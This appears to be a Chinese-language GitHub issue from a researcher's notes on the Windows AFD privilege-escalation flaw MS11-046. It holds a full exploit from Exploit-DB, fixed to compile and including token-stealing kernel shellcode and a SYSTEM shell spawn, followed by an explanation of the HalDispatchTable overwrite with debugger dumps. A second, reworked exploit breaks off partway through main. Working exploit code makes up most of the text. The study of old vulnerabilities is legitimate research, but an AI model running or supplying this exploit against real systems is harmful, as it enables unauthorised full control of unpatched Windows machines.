Skip to content

0x01_ms11-046 #95

@xinali

Description

@xinali

3) 测试新思路

在https://www.exploit-db.com/exploits/40564处发现了新的利用代码

解决其中的编译错误,能够成功运行

--------------------------------------------------------------------
/*
################################################################
# Exploit Title: Windows x86 (all versions) AFD privilege escalation (MS11-046)
# Fixed for MSVC Compilation
################################################################
*/

#include "stdafx.h"
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <ws2tcpip.h>

#pragma comment (lib, "ws2_32.lib")

////////////////////////////////////////////////////////////////
// DEFINE DATA TYPES
////////////////////////////////////////////////////////////////

typedef enum _KPROFILE_SOURCE {
    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;


typedef DWORD (WINAPI *PNTQUERYINTERVAL) (
    KPROFILE_SOURCE   ProfileSource,
    PULONG            Interval
    );


typedef LONG NTSTATUS;


typedef NTSTATUS (WINAPI *PNTALLOCATE) (
    HANDLE            ProcessHandle,
    PVOID             *BaseAddress,
    ULONG             ZeroBits,
    PULONG            RegionSize,
    ULONG             AllocationType,
    ULONG             Protect
    );


typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS      Status;
        PVOID         Pointer;
    };
    ULONG_PTR         Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;


typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG             Reserved[2];
    PVOID             Base;
    ULONG             Size;
    ULONG             Flags;
    USHORT            Index;
    USHORT            Unknown;
    USHORT            LoadCount;
    USHORT            ModuleNameOffset;
    CHAR              ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;


typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);

// [FIX 1] 定义 ZwQuerySystemInformation 的具体函数指针类型
typedef NTSTATUS (WINAPI *PZWQUERYSYSTEMINFORMATION)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );

////////////////////////////////////////////////////////////////
// FUNCTIONS
////////////////////////////////////////////////////////////////

BOOL IsWow64()
{
    BOOL bIsWow64 = FALSE;
    LPFN_ISWOW64PROCESS fnIsWow64Process;

    fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(GetModuleHandle(TEXT("kernel32")), "IsWow64Process");

    if(NULL != fnIsWow64Process)
    {
        if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64))
        {
            printf("   [-] Failed (error code: %d)\n", GetLastError());
            return -1;
        }
    }
    return bIsWow64;
}


////////////////////////////////////////////////////////////////
// MAIN FUNCTION
////////////////////////////////////////////////////////////////

int main(void)
{
    printf("[*] MS11-046 (CVE-2011-1249) x86 exploit\n");
    printf("   [*] by Tomislav Paskalev\n");


    ////////////////////////////////////////////////////////////////
    // IDENTIFY TARGET OS ARCHITECTURE AND VERSION
    ////////////////////////////////////////////////////////////////

    printf("[*] Identifying OS\n");

    if(IsWow64())
    {
        printf("   [-] 64-bit\n");
        return -1;
    }

    printf("   [+] 32-bit\n");

    OSVERSIONINFOEX osvi;
    ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX));
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
    GetVersionEx((LPOSVERSIONINFO) &osvi);

    unsigned char shellcode_KPROCESS;
    unsigned char shellcode_TOKEN;
    unsigned char shellcode_UPID;
    unsigned char shellcode_APLINKS;
    const char **securityPatchesPtr;
    int securityPatchesCount;
    int lpInBufferSize; // 保持为变量

    // ... (OS Check Logic retained) ...
    if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 3))
    {
        printf("   [+] Windows XP SP3\n");
        shellcode_KPROCESS = '\x44';
        shellcode_TOKEN    = '\xC8';
        shellcode_UPID     = '\x84';
        shellcode_APLINKS  = '\x88';
        const char *securityPatches[] = {"KB2503665", "KB2592799"};
        securityPatchesPtr = securityPatches;
        securityPatchesCount = 2;
        lpInBufferSize = 0x30;
    } 
    else if((osvi.dwMajorVersion == 5) && 
        (osvi.dwMinorVersion == 2) && (osvi.wServicePackMajor == 2) 
        && (GetSystemMetrics(89) == 0))
    {
        printf("   [+] Windows Server 2003 SP2\n");
        shellcode_KPROCESS = '\x38';
        shellcode_TOKEN    = '\xD8';
        shellcode_UPID     = '\x94';
        shellcode_APLINKS  = '\x98';
        const char *securityPatches[] = {"KB2503665", "KB2592799", "KB2645640", "KB2975684"};
        securityPatchesPtr = securityPatches;
        securityPatchesCount = 4;
        lpInBufferSize = 0x30;
    }
    else if((osvi.dwMajorVersion == 6) 
             && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 1) 
             && (osvi.wProductType == 1))
    {
        printf("   [+] Windows Vista SP1\n");
        shellcode_KPROCESS = '\x48';
        shellcode_TOKEN    = '\xE0';
        shellcode_UPID     = '\x9C';
        shellcode_APLINKS  = '\xA0';
        const char *securityPatches[] = {"KB2503665"};
        securityPatchesPtr = securityPatches;
        securityPatchesCount = 1;
        lpInBufferSize = 0x30;
    }
    else if((osvi.dwMajorVersion == 6) 
            && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 2) 
            && (osvi.wProductType == 1))
    {
        printf("   [+] Windows Vista SP2\n");
        shellcode_KPROCESS = '\x48';
        shellcode_TOKEN    = '\xE0';
        shellcode_UPID     = '\x9C';
        shellcode_APLINKS  = '\xA0';
        const char *securityPatches[] = {"KB2503665", "KB2975684"};
        securityPatchesPtr = securityPatches;
        securityPatchesCount = 2;
        lpInBufferSize = 0x10;
    }
    else if((osvi.dwMajorVersion == 6) 
            && (osvi.dwMinorVersion == 0) 
            && (osvi.wServicePackMajor == 1) 
            && (osvi.wProductType != 1))
    {
        printf("   [+] Windows Server 2008\n");
        shellcode_KPROCESS = '\x48';
        shellcode_TOKEN    = '\xE0';
        shellcode_UPID     = '\x9C';
        shellcode_APLINKS  = '\xA0';
        const char *securityPatches[] = {"KB2503665"};
        securityPatchesPtr = securityPatches;
        securityPatchesCount = 1;
        lpInBufferSize = 0x10;
    }
    else if((osvi.dwMajorVersion == 6) 
            && (osvi.dwMinorVersion == 0) 
            && (osvi.wServicePackMajor == 2) && (osvi.wProductType != 1))
    {
        printf("   [+] Windows Server 2008 SP2\n");
        shellcode_KPROCESS = '\x48';
        shellcode_TOKEN    = '\xE0';
        shellcode_UPID     = '\x9C';
        shellcode_APLINKS  = '\xA0';
        const char *securityPatches[] = {"KB2503665", "KB2975684"};
        securityPatchesPtr = securityPatches;
        securityPatchesCount = 2;
        lpInBufferSize = 0x08;
    }
    else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 0))
    {
        printf("   [+] Windows 7\n");
        shellcode_KPROCESS = '\x50';
        shellcode_TOKEN    = '\xF8';
        shellcode_UPID     = '\xB4';
        shellcode_APLINKS  = '\xB8';
        const char *securityPatches[] = {"KB2503665"};
        securityPatchesPtr = securityPatches;
        securityPatchesCount = 1;
        lpInBufferSize = 0x20;
    }
    else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 1))
    {
        printf("   [+] Windows 7 SP1\n");
        shellcode_KPROCESS = '\x50';
        shellcode_TOKEN    = '\xF8';
        shellcode_UPID     = '\xB4';
        shellcode_APLINKS  = '\xB8';
        const char *securityPatches[] = {"KB2503665", "KB2975684"};
        securityPatchesPtr = securityPatches;
        securityPatchesCount = 2;
        lpInBufferSize = 0x10;
    }
    else
    {
        printf("   [-] Unsupported version\n");
        return -1;
    }


    ////////////////////////////////////////////////////////////////
    // LOCATE REQUIRED OS COMPONENTS
    ////////////////////////////////////////////////////////////////

    printf("[*] Locating required OS components\n");

    // [FIX 1] 使用自定义的函数指针类型
    PZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
    ZwQuerySystemInformation = (PZWQUERYSYSTEMINFORMATION)GetProcAddress(
                                GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation");

    ULONG systemInformation;
    ZwQuerySystemInformation(11, (PVOID) &systemInformation, 0, &systemInformation);

    ULONG *systemInformationBuffer;
    systemInformationBuffer = (ULONG *) malloc(systemInformation * sizeof(*systemInformationBuffer));

    if(!systemInformationBuffer)
    {
        printf("   [-] Could not allocate memory");
        return -1;
    }

    ZwQuerySystemInformation(11, systemInformationBuffer, 
                            systemInformation * sizeof(*systemInformationBuffer), NULL);

    ULONG i;
    PVOID targetKrnlMdlBaseAddr = NULL;
    HMODULE targetKrnlMdlUsrSpcOffs = NULL;
    BOOL foundModule = FALSE;
    PSYSTEM_MODULE_INFORMATION loadedMdlStructPtr;
    loadedMdlStructPtr = (PSYSTEM_MODULE_INFORMATION) (systemInformationBuffer + 1);

    for(i = 0; i < *systemInformationBuffer; i++)
    {
        if(strstr(loadedMdlStructPtr[i].ImageName, "ntkrnlpa.exe"))
        {
            printf("   [+] ntkrnlpa.exe\n");
            targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntkrnlpa.exe", 0, 1);
            targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base;
            foundModule = TRUE;
            break;
        }    
        else if(strstr(loadedMdlStructPtr[i].ImageName, "ntoskrnl.exe"))
        {
            printf("   [+] ntoskrnl.exe\n");
            targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntoskrnl.exe", 0, 1);
            targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base;
            foundModule = TRUE;
            break;
        }     
    }

    printf("      [*] Address:      %#010x\n", targetKrnlMdlBaseAddr);
    printf("      [*] Offset:       %#010x\n", targetKrnlMdlUsrSpcOffs);

    if(!foundModule)
    {
        printf("   [-] Could not find ntkrnlpa.exe/ntoskrnl.exe\n");
        free(systemInformationBuffer); // 释放内存
        return -1;
    }

    free(systemInformationBuffer);

    ULONG_PTR HalDispatchTableUsrSpcOffs;
    HalDispatchTableUsrSpcOffs = (ULONG_PTR) GetProcAddress(targetKrnlMdlUsrSpcOffs, "HalDispatchTable");

    if(!HalDispatchTableUsrSpcOffs)
    {
        printf("      [-] Could not find HalDispatchTable\n");
        return -1;
    }

    printf("      [+] HalDispatchTable\n");
    printf("         [*] Offset:    %#010x\n", HalDispatchTableUsrSpcOffs);

    ULONG_PTR HalDispatchTableKrnlSpcAddr;
    HalDispatchTableKrnlSpcAddr = HalDispatchTableUsrSpcOffs - (ULONG_PTR) targetKrnlMdlUsrSpcOffs;
    HalDispatchTableKrnlSpcAddr += (ULONG_PTR) targetKrnlMdlBaseAddr;


    PNTQUERYINTERVAL NtQueryIntervalProfile;
    NtQueryIntervalProfile = (PNTQUERYINTERVAL) GetProcAddress(GetModuleHandle("ntdll.dll"), 
                                            "NtQueryIntervalProfile");

    if(!NtQueryIntervalProfile)
    {
        printf("   [-] Could not find NtQueryIntervalProfile\n");
        return -1;
    }

    printf("   [+] NtQueryIntervalProfile\n");
    printf("      [*] Address:      %#010x\n", NtQueryIntervalProfile);

    FARPROC ZwDeviceIoControlFile;
    ZwDeviceIoControlFile = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwDeviceIoControlFile");

    if(!ZwDeviceIoControlFile)
    {
        printf("   [-] Could not find ZwDeviceIoControlFile\n");
        return -1;
    }

    printf("   [+] ZwDeviceIoControlFile\n");
    printf("      [*] Address:      %#010x\n", ZwDeviceIoControlFile);


    ////////////////////////////////////////////////////////////////
    // SETUP EXPLOITATION PREREQUISITE
    ////////////////////////////////////////////////////////////////

    printf("[*] Setting up exploitation prerequisite\n");

    printf ("   [*] Initialising Winsock DLL\n");
    WORD wVersionRequested;
    WSADATA wsaData;
    int wsaStartupErrorCode;

    wVersionRequested = MAKEWORD(2, 2);
    wsaStartupErrorCode = WSAStartup(wVersionRequested, &wsaData);

    if(wsaStartupErrorCode != 0)
    {
        printf("      [-] Failed (error code: %d)\n", wsaStartupErrorCode);
        return -1;
    }

    printf("      [+] Done\n");

    printf("      [*] Creating socket\n");
    SOCKET targetDeviceSocket = INVALID_SOCKET;
    targetDeviceSocket = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    if(targetDeviceSocket == INVALID_SOCKET)
    {
        printf("         [-] Failed (error code: %ld)\n", WSAGetLastError());
        return -1;
    }

    printf("         [+] Done\n");

    struct sockaddr_in clientService;
    clientService.sin_family = AF_INET;
    clientService.sin_addr.s_addr = inet_addr("127.0.0.1");
    clientService.sin_port = htons(0);

    printf("         [*] Connecting to closed port\n");
    int connectResult;
    connectResult = connect(targetDeviceSocket, (SOCKADDR *) &clientService, sizeof(clientService));
    if (connectResult == 0)
    {
        printf ("            [-] Connected (error code: %ld)\n", WSAGetLastError());
        return -1;
    }

    printf("            [+] Done\n");


    ////////////////////////////////////////////////////////////////
    // CREATE TOKEN STEALING SHELLCODE
    ////////////////////////////////////////////////////////////////

    printf("[*] Creating token stealing shellcode\n");

    unsigned char shellcode[] =
    {
        0x52,                                                        // PUSH EDX
        0x53,	                                                     // PUSH EBX
        0x33,0xC0,                                                   // XOR EAX, EAX
        0x64,0x8B,0x80,0x24,0x01,0x00,0x00,                          // MOV EAX, FS:[EAX+0x124]
        0x8B,0x40,shellcode_KPROCESS,                                // MOV EAX, [EAX+_KPROCESS]
        0x8B,0xC8,                                                   // MOV ECX, EAX
        0x8B,0x98,shellcode_TOKEN,0x00,0x00,0x00,                    // MOV EBX, [EAX+_TOKEN]
        0x8B,0x80,shellcode_APLINKS,0x00,0x00,0x00,                  // MOV EAX, [EAX+_APLINKS]
        0x81,0xE8,shellcode_APLINKS,0x00,0x00,0x00,                  // SUB EAX, _APLINKS
        0x81,0xB8,shellcode_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // CMP [EAX+_UPID], 0x4
        0x75,0xE8,                                                   // JNZ/JNE
        0x8B,0x90,shellcode_TOKEN,0x00,0x00,0x00,                    // MOV EDX, [EAX+_TOKEN]
        0x8B,0xC1,                                                   // MOV EAX, ECX
        0x89,0x90,shellcode_TOKEN,0x00,0x00,0x00,                    // MOV [EAX+_TOKEN], EDX
        0x5B,                                                        // POP EBX
        0x5A,                                                        // POP EDX
        0xC2,0x08                                                    // RET 8
    };

    printf("   [*] Shellcode assembled\n");

    printf("   [*] Allocating memory\n");
    LPVOID shellcodeAddress;
    shellcodeAddress = VirtualAlloc((PVOID) 0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    int errorCode = 0;

    if(shellcodeAddress == NULL)
    {
        errorCode = GetLastError();
        if(errorCode == 487)
        {
            printf("      [!] Could not reserve entire range\n");
            printf("         [*] Rerun exploit\n");
        }
        else
            printf("      [-] Failed (error code: %d)\n", errorCode);
        return -1;
    }

    printf("      [+] Address:      %#010x\n", shellcodeAddress);

    // [FIX 2] 修复 void* 指针运算问题,强转为 char* (或 unsigned char*)
    memset(shellcodeAddress, 0x90, 0x20000);
    memcpy(((char*)shellcodeAddress + 0x10000), shellcode, sizeof(shellcode));
    printf("      [*] Shellcode copied\n");


    ////////////////////////////////////////////////////////////////
    // EXPLOIT THE VULNERABILITY
    ////////////////////////////////////////////////////////////////

    printf("[*] Exploiting vulnerability\n");

    printf("   [*] Sending AFD socket connect request\n");

    // [FIX 3] 修复变长数组定义错误,使用 malloc
    DWORD *lpInBuffer = (DWORD*)malloc(lpInBufferSize * sizeof(DWORD));
    if (!lpInBuffer) return -1;

    memset(lpInBuffer, 0, (lpInBufferSize * sizeof(DWORD)));

    lpInBuffer[3] = 0x01;
    lpInBuffer[4] = 0x20;
    ULONG lpBytesReturned = 0;

    if(DeviceIoControl(
        (HANDLE) targetDeviceSocket,
        0x00012007,
        (PVOID) lpInBuffer, 
        lpInBufferSize * sizeof(DWORD), // [FIX 3] 修正大小传递,因为变成了指针
        (PVOID) (HalDispatchTableKrnlSpcAddr + 0x6), 0x0,
        &lpBytesReturned, NULL
        ) == 0)
    {
        errorCode = GetLastError();
        if(errorCode == 1214)
        {
            printf("      [+] Done\n");
        }
        else if(errorCode == 998)
        {
            printf("      [!] Target patched\n");
            printf("         [*] Possible security patches\n");
            for(int j = 0; j < securityPatchesCount; j++) // 这里的 i 需要改为 j 或重新声明 int i,这里直接用 int j
                printf("            [*] %s\n", securityPatchesPtr[j]);
            free(lpInBuffer);
            return -1;
        }
        else
        {
            printf("      [-] Failed (error code: %d)\n", errorCode);
            free(lpInBuffer);
            return -1;
        }
    }

    free(lpInBuffer); // 释放内存

    printf("      [*] Elevating privileges to SYSTEM\n");
    ULONG outInterval = 0;
    
    // [FIX 4] 修复枚举类型转换错误
    NtQueryIntervalProfile((KPROFILE_SOURCE)2, &outInterval);
    printf("         [+] Done\n");

    printf("         [*] Spawning shell\n");
    system ("c:\\windows\\system32\\cmd.exe /K cd c:\\windows\\system32");

    printf("\n[*] Exiting SYSTEM shell\n");
    WSACleanup();
    return 1;
}
--------------------------------------------------------------------

分析上面的代码主要有几个核心的不同点

1. 使用connect而不是用bind
2. 分配的地址是0x02070000
3. 使用的是HalDispatchTable+6而不是HalDispatchTable+4

其实认真分析其中的代码就可以简单的找到其中为什么会这样

我们分配的地址是0x000001,目的是将SUCCESS的信息写入HalDispatchTable+4的位置

我们是希望AfdConnect的请求一定要成功,否则的话,0就无法覆盖HalDispatchTable+4的位置。

所以我尝试了各种各样的方法都没有办法成功。

上面的代码就不要求必须成功,它期望AfdConnect错误,并且错误码是

STATUS_CONNECTION_REFUSED(0xC0000207)

这样的话就可以切割该错误码:0207 xxxx

通过覆盖地址02070000 - 0207ffff 为 0x90

shellcode的起始地址为02080000,这样可以保证xxxx所代表的值一定会被0x90覆盖,

当执行到的时候,会成功执行shellcode,至于是使用connect还是bind都可以,

只要是返回错误0xC0000207即可

具体测试如下

--------------------------------------------------------------------
2: kd> dd HalDispatchTable
80894078  00000003 c0000207 80a779f4 808e7028 <---
80894088  00000000 8081a784 808e61d2 808e6a68
80894098  808e5568 808e57d0 8080d592 80865c60
808940a8  80865c60 80a76d04 80a77894 80a5ae06
808940b8  80a772fe 808e7044 8081ab62 8081ab70
808940c8  80a779ea 8081ab70 00000002 8080d592
808940d8  8080d592 80a76d30 808e7036 80a71e54
808940e8  80a71e0e f733f022 f733ee46 80a5caa6

0: kd> dd HalDispatchTable
80894078  00000003 02075a1e 80a7c000 808e7028
80894088  00000000 8081a784 808e61d2 808e6a68
80894098  808e5568 808e57d0 8080d592 80865c60
808940a8  80865c60 80a76d04 80a77894 80a5ae06
808940b8  80a772fe 808e7044 8081ab62 8081ab70
808940c8  80a779ea 8081ab70 00000002 8080d592
808940d8  8080d592 80a76d30 808e7036 80a71e54
808940e8  80a71e0e f733f022 f733ee46 80a5caa6
--------------------------------------------------------------------

理解原理,再来修复我们之前使用的代码


--------------------------------------------------------------------
#include "stdafx.h"

#include <stdio.h>
#include <Winsock2.h>
#include <Ws2tcpip.h>
#include <ntsecapi.h>

#pragma comment(lib, "ws2_32.lib")

#define AFD_CONNECT            0x12007

typedef enum _KPROFILE_SOURCE {
    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;

typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemBasicInformation,
    SystemProcessorInformation,
    SystemPerformanceInformation,
    SystemTimeOfDayInformation,
    SystemNotImplemented1,
    SystemProcessesAndThreadsInformation,
    SystemCallCounts,
    SystemConfigurationInformation,
    SystemProcessorTimes,
    SystemGlobalFlag,
    SystemNotImplemented2,
    SystemModuleInformation,
    SystemLockInformation,
    SystemNotImplemented3,
    SystemNotImplemented4,
    SystemNotImplemented5,
    SystemHandleInformation,
    SystemObjectInformation,
    SystemPagefileInformation,
    SystemInstructioEmulationCounts,
    SystemInvalidInfoClass1,
    SystemCacheInformation,
    SystemPoolTagInformation,
    SystemProcessorStatistics,
    SystemDpcInformation,
    SystemNotImplemented6,
    SystemLoadImage,
    SystemUnloadImage,
    SystemTimeAdjustment,
    SystemNotImplemented7,
    SystemNotImplemented8,
    SystemNotImplemented9,
    SystemCrashDumpInformation,
    SystemExceptionInformation,
    SystemCrashDumpStateInformation,
    SystemKernelDebuggerInformation,
    SystemContextSwitchInformation,
    SystemRegisterQuotaInformation,
    SystemLoadAndCallImage,
    SystemPrioritySeparation
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG Reserved[2];
    PVOID Base;
    ULONG Size;
    ULONG Flags;
    USHORT Index;
    USHORT Unknown;
    USHORT LoadCount;
    USHORT ModuleNameOffset;
    CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;


// 模拟 TDI 地址结构
typedef struct _TDI_ADDRESS_IP {
    USHORT sin_port;
    ULONG  in_addr;
    UCHAR  sin_zero[8];
} TDI_ADDRESS_IP, *PTDI_ADDRESS_IP;

typedef struct _TA_ADDRESS_IP {
    USHORT AddressLength; // 长度
    USHORT AddressType;   // 类型
    TDI_ADDRESS_IP Address;
} TA_ADDRESS_IP, *PTA_ADDRESS_IP;

typedef struct _TRANSPORT_ADDRESS_IP {
    LONG TAAddressCount;  // 必须为 1
    TA_ADDRESS_IP Address[1];
} TRANSPORT_ADDRESS_IP, *PTRANSPORT_ADDRESS_IP;

// 模拟 AFD 连接信息结构 (对齐处理)
#pragma pack(push, 1)
typedef struct _AFD_CONNECT_JOIN_INFO_PAYLOAD {
    BOOLEAN SanActive;      // Offset 0
    UCHAR   Padding[3];     // Offset 1-3 (对齐到 4 字节)
    HANDLE  RootEndpoint;   // Offset 4
    HANDLE  ConnectEndpoint;// Offset 8
    TRANSPORT_ADDRESS_IP RemoteAddress; // Offset 12
} AFD_CONNECT_JOIN_INFO_PAYLOAD, *PAFD_CONNECT_JOIN_INFO_PAYLOAD;
#pragma pack(pop)

typedef NTSTATUS(NTAPI *ZWQUERYINTERNALPROFILE)(ULONG, PULONG);
typedef NTSTATUS(NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS(NTAPI *ZWALLOCATEVIRTUALMEMORY)(HANDLE,
                                                 PVOID *,
                                                 ULONG,
                                                 PULONG,
                                                 ULONG,
                                                 ULONG);

ZWQUERYINTERNALPROFILE ZwQueryIntervalProfile;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
ZWALLOCATEVIRTUALMEMORY ZwAllocateVirtualMemory;


void ErrorQuit(char *pMsg) {
    printf("%sError Code:%d\n", pMsg, GetLastError());
    ExitProcess(0);
}


void GetFunction() {
    HMODULE hNtdll;

    hNtdll = LoadLibrary("ntdll.dll");
    if (hNtdll == NULL) {
        ErrorQuit("LoadLibrary() failed.\n");
    }

    ZwQueryIntervalProfile = (ZWQUERYINTERNALPROFILE)GetProcAddress(
        hNtdll,
        "NtQueryIntervalProfile");
    if (ZwQueryIntervalProfile == NULL) {
        ErrorQuit("GetProcAddress() failed.\n");
    }

    ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(
        hNtdll,
        "ZwQuerySystemInformation");
    if (ZwQuerySystemInformation == NULL) {
        ErrorQuit("GetProcessAddress() failed.\n");
    }

    ZwAllocateVirtualMemory = (ZWALLOCATEVIRTUALMEMORY)GetProcAddress(
        hNtdll,
        "NtAllocateVirtualMemory");
    if (ZwAllocateVirtualMemory == NULL) {
        ErrorQuit("GetProcAddress() failed.\n");
    }
    FreeLibrary(hNtdll);
}


ULONG GetKernelBase(char *KernelName) {
    ULONG i, Byte, ModuleCount, KernelBase;
    PVOID pBuffer;
    PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
    PCHAR pName;

 

    ZwQuerySystemInformation(SystemModuleInformation, 
                             (PVOID)&Byte, 
                             0, 
                             &Byte);

    if ((pBuffer = malloc(Byte)) == NULL) {
        ErrorQuit("malloc failed.\n");
    }

    if (ZwQuerySystemInformation(SystemModuleInformation, 
                                 pBuffer, 
                                 Byte, 
                                 &Byte)) {
        ErrorQuit("ZwQuerySystemInformation failed\n");
    }

    ModuleCount = *(PULONG)pBuffer;
    pSystemModuleInformation =
        (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
    for (i = 0; i < ModuleCount; i++) {
        if ((pName = strstr(pSystemModuleInformation->ImageName,
                            "ntoskrnl.exe")) != NULL) {
            KernelBase = (ULONG)pSystemModuleInformation->Base;
            printf("Kernel is %s\n", pSystemModuleInformation->ImageName);
            free(pBuffer);
            strcpy(KernelName, "ntoskrnl.exe");

            return KernelBase;
        }

        if ((pName = strstr(pSystemModuleInformation->ImageName,
                            "ntkrnlpa.exe")) != NULL) {
            KernelBase = (ULONG)pSystemModuleInformation->Base;
            printf("Kernel is %s(0x%p)\n",
                   pSystemModuleInformation->ImageName,
                   KernelBase);
            free(pBuffer);
            strcpy(KernelName, "ntkrnlpa.exe");

            return KernelBase;
        }
        pSystemModuleInformation++;
    }

    free(pBuffer);
    return 0;
}


int main() {

    WSADATA ws;

    ULONG junk, KernelBase, dwShellSize = 0x20000;
    ULONG_PTR HalDispatchTable;
    char KernelName[64];
    OSVERSIONINFO ovi;
    HMODULE hKernel;
    // LPVOID addr = (LPVOID)0x00000000;
    // LPVOID addr = (LPVOID)0x00000001;
    LPVOID addr = (LPVOID)0x02070000;
    SOCKET tcp_socket;
    struct sockaddr_in peer;
    KPROFILE_SOURCE ProfileSource;
    ULONG_PTR info_result;
    PROCESS_INFORMATION pi;
    STARTUPINFOA stStartup;
    AFD_CONNECT_JOIN_INFO_PAYLOAD payload;
    NTSTATUS status, alloc_status;
    struct addrinfo *result = NULL,
                *ptr = NULL,
                hints;

    WSAStartup(0x0202, &ws);
    printf("[+] Get function address...");
    GetFunction();
    printf("OK!\n");

    printf("[+] get kernel base...");
    KernelBase = GetKernelBase(KernelName);
    if (!KernelBase) { 
        ErrorQuit("failed!\n");
    }
    printf("OK!\n");

    // 判断OS版本
    ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    if (!GetVersionEx(&ovi)) {
        ErrorQuit("GetVersionEx() failed.\n");
    }

    if (ovi.dwMajorVersion != 5 && ovi.dwMinorVersion != 2) {
        ErrorQuit("Not Windows 2003.\n");
    }

    printf("[+] load kernel library: %s...", KernelName);
    hKernel = LoadLibrary(KernelName);
    if (!hKernel) {
        ErrorQuit("failed!\n");
    }
    printf("OK!\n");
    HalDispatchTable = (ULONG_PTR)GetProcAddress(hKernel, "HalDispatchTable");
    HalDispatchTable += KernelBase - (ULONG)hKernel;
    printf("[+] HalDispatchTable found    \t\t\t [ 0x%p ]\n", HalDispatchTable);

    // 分配内存
    printf("[+] allocate memory at [0x%p]...", addr);
    alloc_status = ZwAllocateVirtualMemory(INVALID_HANDLE_VALUE,
                            &addr, 
                            0, 
                            &dwShellSize,
                            MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, 
                            PAGE_EXECUTE_READWRITE);
    if (alloc_status != 0) {
        ErrorQuit("failed!\n");
    }
    printf("OK!\n");
    printf("[+] shellcode addr: %x\n", addr);

    // 准备sc
    memset(addr, 0x90, dwShellSize);

    unsigned char shellcode[] = {
        0x90,                               // nop
        0x90,                               // nop
        0x90,                               // nop
        0x90,                               // nop
        0x90,                               // nop
        0x90,                               // nop
        0x90,                               // nop
        0xCC,                               // nop
        0x60,                               // pusha
        0x9c,                               // pushf
        0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, // mov eax, fs:[124]
        0x8b, 0xb0, 0x18, 0x02, 0x00, 0x00, // mov    esi,DWORD PTR [eax+0x218]
        0x89, 0xf0,                         // mov    eax,esi
        // <search2k3sp1>:
        0x8b, 0x80, 0x98, 0x00, 0x00, 0x00, // mov    eax,DWORD PTR [eax+0x98]
        0x2d, 0x98, 0x00, 0x00, 0x00,       // sub    eax,0x98
        0x8b, 0x90, 0x94, 0x00, 0x00, 0x00, // mov    edx,DWORD PTR [eax+0x94]
        0x83, 0xfa, 0x04,                   // cmp    edx,0x4
        0x75, 0xea,                         // jne    17 <search2k3sp1>
        0x8b, 0x80, 0xd8, 0x00, 0x00, 0x00, // mov    eax,DWORD PTR [eax+0xd8]
        0x89, 0x86, 0xd8, 0x00, 0x00, 0x00, // mov    DWORD PTR [esi+0xd8],eax
        0x9d,                               // popf
        0x61,                               // popa
        0xc2, 0x10, 0x00                    // ret    0x10
    };

    memcpy((void*)((BYTE*)addr + 0x10000),
           (void*)shellcode, 
           sizeof(shellcode));

    peer.sin_family = AF_INET;
